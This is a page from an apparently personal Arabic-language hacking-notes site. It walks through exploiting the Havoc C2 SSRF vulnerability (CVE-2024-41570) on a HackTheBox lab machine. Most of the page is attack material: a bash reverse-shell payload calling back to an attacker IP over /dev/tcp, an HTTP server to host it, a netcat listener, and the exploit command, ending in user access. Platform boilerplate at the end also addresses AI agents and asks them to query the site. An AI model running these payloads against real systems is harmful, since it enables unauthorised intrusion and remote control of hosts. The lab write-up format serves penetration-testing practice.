> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/ports-and-services/havoc-c2-40056.md).

# Havoc-C2 - 40056

{% hint style="info" %}
Havoc-C2 هي أداة مفتوحة المصدر للتحكم والأمر (C2) مصممة لاختبار الاختراق ومحاكاة الهجمات. تتيح لمحترفي الأمن السيبراني إدارة العوامل الخبيثة المزروعة على الأنظمة المخترقة، وتخطيط الهجمات، واستخراج البيانات، في بيئة خاضعة للتحكم، لتقييم أمان البنى التحتية لتقنية المعلومات.
{% endhint %}

<figure><img src="/files/23b23b63c89c0ec865b7599009041400f54f0790" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/thisisveryfunny/CVE-2024-41570-Havoc-C2-RCE>" %}

لاستغلال ثغرة SSRF في Havoc، أنشئ ملفًا `payload.sh` يحتوي على الكود التالي:

```bash
#!/bin/bash
 
bash -i >& /dev/tcp/10.10.14.254/4444 0>&1
```

قم بإعداد خادم ويب لاستضافة الحمولة:

```bash
python3 -m http.server 80
```

استمع على المنفذ 4444 باستخدام netcat لتلقي الاتصال العكسي:

```bash
nc -nlvp 4444
```

عدّل سكربت الاستغلال بمعلومات الهدف المطلوبة، ثم شغّله:

<figure><img src="/files/e01e82f56d78e6a87f50e49b482648fd43a149c4" alt=""><figcaption></figcaption></figure>

```bash
python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056
```

**وصول المستخدم:**

الـ **ilya** يمكن استخدام المستخدم للاتصال بالجهاز المستهدف.

<figure><img src="/files/dece4e2fb929d4b61917459542da4706241ea439" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/ports-and-services/havoc-c2-40056.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
